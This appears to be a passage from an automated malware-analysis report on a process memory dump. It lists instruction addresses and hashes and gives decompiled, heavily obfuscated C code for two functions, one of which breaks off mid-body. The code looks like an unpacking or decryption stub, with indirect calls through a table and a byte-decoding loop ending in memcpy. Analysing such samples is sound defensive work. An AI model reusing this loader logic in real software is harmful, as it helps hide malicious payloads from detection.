0x007d2237
0x007d2240
0x007d2243
0x007d2249
0x007d2250
0x007d2253
0x007d225b
0x007d225e
0x007d2263
0x007d2267
0x007d226a
0x007d226c
0x007d227a
0x007d227c
0x007d227f
0x007d2281
0x007d2287
0x007d2291
0x007d2294
0x007d229b
0x007d229f
0x007d22a2
0x007d22a2
0x007d22ae
0x007d22b5
0x007d22bb
0x007d22be
0x007d22c4
0x007d22ce
0x007d22d1
0x007d22d7
0x007d22df
0x007d22e6
0x007d22ec
0x007d22ef
0x007d22f6
0x007d22fa
0x007d22fd
0x007d2303
0x007d230a
0x007d230d
0x007d2313
0x007d231b
0x007d2322
0x007d2328
0x007d232b
0x007d232e
0x007d2331
0x007d2331
0x007d2335
0x007d2339
0x007d233c
0x007d2342
0x007d234c
0x007d234f
0x007d2355
0x007d235c
0x007d235f
0x007d2368
0x007d236b
0x007d2371
0x007d2374
0x007d2377
0x007d237e
0x007d237f
0x007d2382
0x007d2392
0x007d2395
0x007d2397
0x007d239d
0x007d23a4
0x007d23a7
0x007d23ad
0x007d23b7
0x007d23ba
0x007d23c0
0x007d23c8
0x007d23cf
0x007d23d5
0x007d23d5
0x007d23da
0x007d23dd
0x007d23e0
0x007d23f0
0x007d23fc
0x007d23fe
0x007d2402
0x007d2405
0x007d2408
0x007d2410
0x007d2414
0x007d2415
0x007d241d
0x007d241f
0x007d2429
0x007d2429
0x007d242d
0x007d2431
0x007d2438
0x007d2438
0x007d243b
0x007d2442
0x007d2445
0x007d2448
0x007d245d
0x007d2464

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction ID: 2bdce53afaf47f1189828092d6e9a0f79032d5e79387159d841e639eda568cec
Opcode Fuzzy Hash: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
Instruction Fuzzy Hash: 85422672C04218EFEF049FA0C8897EEBBF5FF48321F0584AAD899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 007D43D8, Relevance: .4, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E007D43D8(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				void* _t202;
				void* _t204;
				signed int _t205;
				signed int _t210;
				void* _t212;
				void* _t213;
				signed int _t217;
				signed int _t220;
				signed int _t223;
				signed int _t228;
				void* _t230;
				void* _t232;
				intOrPtr _t233;
				void _t236;
				signed int _t240;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t261;
				signed int _t264;
				signed int _t266;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t283;
				void* _t286;
				signed int _t293;
				signed int _t294;
				signed int _t305;
				signed int _t306;
				signed int _t311;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t326;
				signed int _t330;
				signed int _t334;
				signed int _t337;
				signed int _t340;
				signed int _t343;
				void* _t348;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				void* _t364;
				signed int _t366;
				signed int _t369;
				signed int* _t370;
				signed int* _t371;
				signed int* _t372;
				signed int* _t373;
				signed int* _t374;
				signed int* _t375;
				signed int* _t376;
				signed int* _t377;

				_t355 = __esi;
				_t337 = __edi;
				 *_t370 =  *_t370 - _t366;
				 *_t370 = __ebx + 0x41c5e4;
				_t202 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t366 - 0x1c) = 0;
				_push( *(_t366 - 0x1c));
				 *_t370 =  *_t370 + _t202;
				_push(__edi);
				 *_t370 =  *_t370 ^ __edi;
				 *_t370 =  *_t370 | __ebx + 0x0041c129;
				_t204 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t274 = (__ecx & 0x00000000) +  *_t370;
				_t371 = _t370 - 0xfffffffc;
				 *(_t366 - 0x1c) = __ebx;
				_push(_t274 + _t204);
				_t261 =  *(_t366 - 0x1c);
				_pop(_t205);
				_push(__edx);
				_t276 = _t274 & 0x00000000 | __edx ^  *_t371 |  *(_t261 + 0x41c62b);
				_pop(_t305);
				if(_t276 > _t205) {
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t261 + 0x0041c5e4;
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 + _t261 + 0x41c129;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f064))(_t366, __esi);
				}
				 *_t371 = _t355;
				 *(_t261 + 0x41d040) = 0 ^ _t205;
				_t358 = 0;
				if( *((intOrPtr*)(_t366 - 0x10)) == 4) {
					_t15 = _t261 + 0x41d1be; // 0x41d1be
					 *_t371 = _t15;
					_t17 = _t261 + 0x41c0a8; // 0x41c0a8
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t17;
					_push( *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24)));
					_pop( *_t19);
					_push( *(_t366 - 0x20));
					_pop( *_t21);
					 *((intOrPtr*)(_t366 - 8)) = 1;
					_t23 = _t261 + 0x41c6f8; // 0x41c6f8
					 *(_t366 - 0x20) =  *(_t366 - 0x20) & 0x00000000;
					 *_t371 =  *_t371 ^ _t23;
					_t251 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x20));
					 *(_t366 - 0x20) = _t305;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) & 0x00000000;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) | _t305 ^  *(_t366 - 0x20) | _t251;
					_t334 =  *(_t366 - 0x20);
					 *((intOrPtr*)(_t366 - 0xc)) = 0x55;
					_t36 = _t261 + 0x41c356; // 0x41c356
					 *(_t366 - 0x1c) =  *(_t366 - 0x1c) & 0x00000000;
					 *_t371 =  *_t371 | _t36;
					_t253 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x1c));
					 *(_t366 - 0x24) = _t337;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) & 0x00000000;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) | _t337 & 0x00000000 ^ _t253;
					_t337 =  *(_t366 - 0x24);
					 *((intOrPtr*)(_t366 - 0x18)) = 2;
					_t48 = _t261 + 0x41cc3e; // 0x41cc3e
					 *(_t366 - 0x24) =  *(_t366 - 0x24) & 0x00000000;
					 *_t371 =  *_t371 ^ _t48;
					_t52 = _t261 + 0x41cf5b; // 0x41cf5b
					 *_t371 =  *_t371 ^ _t358;
					 *_t371 = _t52;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24));
					 *(_t366 - 0x20) = _t334;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) & 0x00000000;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) | _t334 & 0x00000000 | _t205;
					_t305 =  *(_t366 - 0x20);
				}
				_t306 = _t305 ^ _t305;
				 *_t371 =  *_t371 - _t337;
				 *_t371 = _t306;
				_t60 = _t261 + 0x41c61d; // 0x41c61d
				 *_t371 =  *_t371 ^ _t358;
				 *_t371 = _t60;
				_t210 =  *((intOrPtr*)(_t261 + 0x41f060))(_t358, _t337, _t205);
				 *_t371 = _t210;
				_t63 = _t261 + 0x41cf67; // 0x41cf67
				 *(_t366 - 0x24) = 0;
				 *_t371 =  *_t371 ^ _t63;
				_t212 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x24),  *(_t366 - 0x1c));
				_pop( *_t67);
				_t278 = _t276 & 0x00000000 ^  *(_t366 - 0x24);
				 *(_t366 - 0x24) = _t337;
				_push(_t278 + _t212);
				_t340 =  *(_t366 - 0x24);
				_pop(_t213);
				_t280 = _t278 & 0x00000000 | _t366 & 0x00000000 ^  *(_t261 + 0x41c5dc);
				_t369 = _t366;
				if(_t280 > _t213) {
					_t72 = _t261 + 0x41c61d; // 0x41c61d
					 *(_t369 - 0x1c) = 0;
					 *_t371 =  *_t371 ^ _t72;
					_t75 = _t261 + 0x41cf67; // 0x41cf67
					 *(_t369 - 0x20) = 0;
					 *_t371 =  *_t371 | _t75;
					_t246 =  *((intOrPtr*)(_t261 + 0x41f064))( *(_t369 - 0x20),  *(_t369 - 0x1c));
					 *(_t369 - 0x1c) = _t280;
					 *((intOrPtr*)(_t261 + 0x41cf4f)) = _t246;
					_t280 =  *(_t369 - 0x1c);
				}
				_t372 =  &(_t371[1]);
				 *_t372 = _t280;
				_t283 = 0;
				 *_t372 = _t306 & 0x00000000 |  *_t371;
				_t84 = _t261 + 0x41cef6; // 0x41cef6
				 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
				 *_t372 =  *_t372 | _t84;
				_t88 = _t261 + 0x41ceb9; // 0x41ceb9
				 *_t372 =  *_t372 ^ _t369;
				 *_t372 =  *_t372 ^ _t88;
				_t217 =  *((intOrPtr*)(_t261 + 0x41f068))(_t369,  *(_t369 - 0x1c),  *(_t369 - 0x24));
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) & 0x00000000;
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) | _t283 ^  *_t372 | _t217;
				_t286 = _t283;
				_t373 = _t372 - 0xfffffffc;
				_t311 = _t217 %  *(_t369 - 0x18);
				 *_t373 =  *_t373 & 0x00000000;
				 *_t373 =  *_t373 | _t311;
				_t100 = _t261 + 0x41c52d; // 0x41c52d
				 *(_t369 - 0x24) = 0;
				 *_t373 =  *_t373 ^ _t100;
				_t220 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24), _t286);
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) & 0x00000000;
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) | _t311 & 0x00000000 | _t220;
				_t314 = _t311;
				_t316 = _t314 & 0x00000000 ^  *_t373;
				_t374 = _t373 - 0xfffffffc;
				 *((intOrPtr*)(_t369 - 4)) =  *((intOrPtr*)(_t369 - 4)) - _t316;
				 *(_t369 - 0x24) = 0;
				 *_t374 =  *_t374 | _t316;
				_t112 = _t261 + 0x41c7ee; // 0x41c7ee
				 *_t374 =  *_t374 ^ _t340;
				 *_t374 =  *_t374 ^ _t112;
				_t113 = _t261 + 0x41c513; // 0x41c513
				 *(_t369 - 0x20) = 0;
				 *_t374 =  *_t374 | _t113;
				_t223 =  *((intOrPtr*)(_t261 + 0x41f068))( *(_t369 - 0x20), _t340,  *(_t369 - 0x24), _t286);
				 *(_t369 - 0x20) = _t358;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) & 0x00000000;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) ^ _t358 & 0x00000000 ^ _t223;
				_t318 =  *_t374;
				_t375 =  &(_t374[1]);
				 *(_t369 - 0x1c) = _t223;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) & 0x00000000;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) | _t223 ^  *(_t369 - 0x1c) ^ _t318;
				_t130 = _t261 + 0x41ccc7; // 0x41ccc7
				 *(_t369 - 0x24) = 0;
				 *_t375 =  *_t375 | _t130;
				_t228 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24));
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) & 0x00000000;
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) | _t340 -  *_t375 | _t228;
				_t343 = _t340;
				_t363 =  *(_t369 - 0x20) & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t369 + 8);
				_t264 = _t261;
				_t139 = _t264 + 0x41c550; // 0x41c550
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t139;
				_t230 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20));
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t230;
				_t145 = _t264 + 0x41d34c; // 0x41d34c
				 *_t375 = _t145;
				_t232 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20),  *(_t369 - 0x20));
				_t376 = _t375 - 0xfffffffc;
				 *_t148 = _t232;
				 *(_t369 - 0x24) =  *(_t369 - 0x24) + (0 ^  *_t375);
				_push( *(_t369 - 0x24));
				_pop(_t233);
				_t320 = _t318;
				 *(_t369 - 0x1c) = _t320;
				_t323 =  *(_t369 - 0x1c);
				if( *((intOrPtr*)(_t264 + 0x41ccf8)) > _t233) {
					_t155 = _t264 + 0x41c550; // 0x41c550
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t155;
					_t159 = _t264 + 0x41d34c; // 0x41d34c
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t159;
					_t233 =  *((intOrPtr*)(_t264 + 0x41f064))( *(_t369 - 0x1c),  *(_t369 - 0x1c));
				}
				 *(_t369 - 0x24) = _t323;
				 *((intOrPtr*)(_t264 + 0x41ce46)) = _t233;
				_t326 =  *(_t369 - 0x24);
				 *(_t369 - 0x1c) = _t326;
				_t169 = _t264 + 0x41cb9d; // 0x41cb9d
				 *_t376 =  *_t376 - _t363;
				 *_t376 =  *_t376 | _t169;
				_t170 = _t264 + 0x41cd17; // 0x41cd17
				 *(_t369 - 0x20) =  *(_t369 - 0x20) & 0x00000000;
				 *_t376 =  *_t376 | _t170;
				_t236 =  *((intOrPtr*)(_t264 + 0x41f068))( *(_t369 - 0x20), _t363);
				 *_t376 = _t343 & 0x00000000 | _t326 & 0x00000000 ^ _t363;
				 *(_t264 + 0x41d015) = 0 ^ _t236;
				_t348 = 0;
				_t364 = _t363 - 1;
				 *(_t369 - 0x1c) = 0;
				_push( *(_t369 - 0x1c));
				 *_t376 =  *_t376 | _t264;
				do {
					 *_t178 = _t348;
					_t293 =  *(_t369 - 0x20);
					_t294 = _t293 &  *(_t369 - 8);
					if(_t294 == 0) {
						_t364 = _t364 + 1;
						_t236 = _t236 & 0x00000000 ^ (_t348 -  *_t376 |  *(_t369 - 0x18));
						_t348 = _t348;
						_t264 =  *(_t236 + _t364) & 0x000000ff;
					}
					 *_t184 =  *((intOrPtr*)(_t369 - 0xc));
					_t330 =  *(_t369 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t236 = _t236 | _t330 & _t264;
					 *_t348 = _t236;
					_t348 = _t348 + 1;
					_t186 = _t369 - 4;
					 *_t186 =  *((intOrPtr*)(_t369 - 4)) - 1;
				} while ( *_t186 != 0);
				_t266 =  *_t376;
				_t377 =  &(_t376[1]);
				_t188 = _t266 + 0x41cc0b; // 0x41cc0b
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 ^ _t188;
				_t189 = _t266 + 0x41cbd0; // 0x41cbd0
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 | _t189;
				_t240 =  *((intOrPtr*)(_t266 + 0x41f068))(_t369, _t294);
				 *(_t369 - 0x20) = _t294;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) & 0x00000000;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) ^ (_t294 ^  *(_t369 - 0x20) | _t240);
				 *(_t369 - 0x1c) = _t266;
				return memcpy(_t348, _t364 + 1,  *(_t369 - 0x14));
			}

0x007d43d8
0x007d43d8
0x007d43df
0x007d43e2
0x007d43e5
0x007d43eb
0x007d43f2
0x007d43f5
0x007d43fe
0x007d43ff
0x007d4402
0x007d4405
0x007d4411
0x007d4414
0x007d4417
0x007d441e
0x007d441f
0x007d4422
0x007d4423
0x007d4430
0x007d4432
0x007d4435
0x007d443e
0x007d4442
0x007d444c
0x007d4450
0x007d4453
0x007d4453
0x007d445b
0x007d4462
0x007d4468
0x007d446d
0x007d4473
0x007d447c
0x007d447f
0x007d4486
0x007d448a
0x007d4493
0x007d4494
0x007d4497
0x007d449a
0x007d44a0
0x007d44a7
0x007d44ad
0x007d44b4
0x007d44b7
0x007d44bd
0x007d44c5
0x007d44cc
0x007d44d2
0x007d44d5
0x007d44dc
0x007d44e2
0x007d44e9
0x007d44ec
0x007d44f2
0x007d44fa
0x007d4501
0x007d4507
0x007d450a
0x007d4511
0x007d4517
0x007d451e
0x007d4521
0x007d4528
0x007d452b
0x007d452e
0x007d4534
0x007d453c
0x007d4543
0x007d4549
0x007d4549
0x007d4551
0x007d4555
0x007d4558
0x007d455b
0x007d4562
0x007d4565
0x007d4568
0x007d4571
0x007d4574
0x007d457a
0x007d4584
0x007d4587
0x007d4593
0x007d4596
0x007d4599
0x007d45a0
0x007d45a1
0x007d45a4
0x007d45b2
0x007d45b4
0x007d45b7
0x007d45b9
0x007d45bf
0x007d45c9
0x007d45cc
0x007d45d2
0x007d45dc
0x007d45df
0x007d45e5
0x007d45ec
0x007d45f2
0x007d45f2
0x007d45fe
0x007d4603
0x007d460d
0x007d4611
0x007d4614
0x007d461a
0x007d4621
0x007d4624
0x007d462b
0x007d462e
0x007d4631
0x007d463d
0x007d4644
0x007d464a
0x007d4654
0x007d4657
0x007d465b
0x007d465f
0x007d4662
0x007d4668
0x007d4672
0x007d4675
0x007d4681
0x007d4688
0x007d468e
0x007d4695
0x007d4698
0x007d46a1
0x007d46a5
0x007d46af
0x007d46b2
0x007d46b9
0x007d46bc
0x007d46bf
0x007d46c5
0x007d46cf
0x007d46d2
0x007d46d8
0x007d46e0
0x007d46e7
0x007d46f2
0x007d46f5
0x007d46f8
0x007d4700
0x007d4704
0x007d470a
0x007d4710
0x007d471a
0x007d471d
0x007d4729
0x007d4730
0x007d4736
0x007d4741
0x007d4743
0x007d4744
0x007d474a
0x007d4754
0x007d4757
0x007d475d
0x007d4767
0x007d476a
0x007d4773
0x007d4776
0x007d4781
0x007d4788
0x007d478b
0x007d478e
0x007d4791
0x007d4792
0x007d4793
0x007d47a0
0x007d47a5
0x007d47a7
0x007d47ad
0x007d47b4
0x007d47b7
0x007d47bd
0x007d47c4
0x007d47c7
0x007d47c7
0x007d47cd
0x007d47d4
0x007d47da
0x007d47dd
0x007d47ed
0x007d47f4
0x007d47f7
0x007d47fa
0x007d4800
0x007d4807
0x007d480a
0x007d4812
0x007d4819
0x007d481f
0x007d4820
0x007d4821
0x007d4828
0x007d482b
0x007d482e
0x007d482f
0x007d4835
0x007d4836
0x007d4839
0x007d483b
0x007d4846
0x007d4848
0x007d4849
0x007d4849
0x007d4850
0x007d4856
0x007d4857
0x007d485b
0x007d485c
0x007d485e
0x007d4860
0x007d4861
0x007d4861
0x007d4861
0x007d4868
0x007d486b
0x007d486e
0x007d4875
0x007d4879
0x007d487c
0x007d4883
0x007d4887
0x007d488a
0x007d4890
0x007d4898
0x007d489f
0x007d48a8
0x007d48c1

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction ID: f5214ffb2a6d7514463d4af065e2f81e46044607c1bb0cbab8b51d1c06680407
Opcode Fuzzy Hash: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction Fuzzy Hash: DF0223728442088FEF04DFA4C88A7EEBBF1FF48310F19856ED889AA145D7385525CF69

Uniqueness

Uniqueness Score: -1.00%

Function 007D5A25, Relevance: .3, Instructions: 281
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E007D5A25(signed int __ebx, void* __ecx, signed int __edx, intOrPtr* __edi, signed int __esi) {
				signed int _t406;
				signed int _t409;
				intOrPtr _t411;
				signed int _t413;
				void* _t415;
				signed int _t416;
				signed int _t419;
				signed int _t424;
				signed int _t430;
				void* _t431;
				signed int _t435;
				void* _t437;
				intOrPtr _t438;
				intOrPtr _t441;
				signed int _t443;
				void* _t444;
				signed int _t446;
				signed int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t459;
				signed int _t463;
				void* _t465;
				void* _t466;
				signed int _t469;
				signed int _t474;
				signed int _t479;
				void* _t480;
				signed int _t482;
				void* _t484;
				signed int _t485;
				intOrPtr _t490;
				signed int _t491;
				signed int _t493;
				void* _t495;
				signed int _t496;
				signed int _t500;
				void* _t502;
				signed int _t503;
				signed int _t506;
				signed int _t509;
				intOrPtr _t512;
				signed int _t520;
				signed int _t522;
				void* _t523;
				signed int _t532;
				signed int _t535;
				signed int _t538;
				signed int _t540;
				signed int _t543;
				void* _t545;
				void* _t547;
				signed int _t551;
				signed int _t553;
				void* _t554;
				signed int _t559;
				signed int _t561;
				void* _t564;
				signed int _t566;
				signed int _t568;
				signed int _t574;
				void* _t577;
				signed int _t580;
				signed int _t583;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t594;
				signed int _t597;
				signed int _t601;
				signed int _t604;
				signed int _t607;
				signed int _t610;
				signed int _t613;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				void* _t625;
				signed int _t629;
				signed int _t631;
				signed int _t634;
				signed int _t637;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				void* _t651;
				signed int _t653;
				void* _t654;
				signed int _t656;
				signed int _t664;
				signed int _t665;
				signed int _t668;
				void* _t669;
				signed int _t671;
				signed int _t672;
				signed int _t675;
				signed int _t678;
				signed int _t681;
				signed int _t692;
				signed int _t695;
				signed int _t696;
				signed int _t704;
				void* _t705;
				signed int _t707;
				signed int* _t717;
				signed int* _t718;
				signed int* _t719;
				signed int* _t720;
				signed int* _t721;
				signed int* _t722;
				signed int* _t723;
				signed int* _t724;

				_t640 = __edi;
				_t597 = __edx;
				_t532 = __ebx;
				_push(__edi);
				 *_t717 =  *_t717 & 0x00000000;
				 *_t717 =  *_t717 + __ebx + 0x41c13d;
				_t406 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t704 - 0x14) = __esi;
				 *(__ebx + 0x41c112) = 0 ^ _t406;
				_t664 =  *(_t704 - 0x14);
				while(1) {
					L15:
					_t721[1] =  *_t675;
					_t540 = _t538;
					 *_t721 =  *_t721 ^ _t675;
					 *_t721 =  *_t721 ^ _t540 + 0x0041d099;
					_t453 =  *((intOrPtr*)(_t540 + 0x41f060))(_t704);
					 *_t721 = _t574;
					 *(_t540 + 0x41c24c) = 0 ^ _t453;
					_t577 = 0;
					 *_t276 = _t675;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 + _t540 + 0x41cdd2;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 | _t540 + 0x0041c846;
					_t456 =  *((intOrPtr*)(_t540 + 0x41f068))(_t704, _t645);
					 *(_t704 - 0x10) = _t616;
					 *(_t540 + 0x41c9fe) = 0 ^ _t456;
					_t619 =  *(_t704 - 0x10);
					 *(_t704 - 0xc) =  *(_t704 - 0xc) & 0x0000ffff;
					 *_t721 =  *_t721 ^ _t619;
					 *_t721 =  *_t721 | _t540 + 0x0041c9e4;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 ^ _t540 + 0x0041c746;
					_t459 =  *((intOrPtr*)(_t540 + 0x41f068))(_t619, _t619);
					 *(_t704 - 0x14) = _t619;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) & 0x00000000;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) ^ (_t619 ^  *(_t704 - 0x14) | _t459);
					_t622 =  *(_t704 - 0x14);
					while(1) {
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
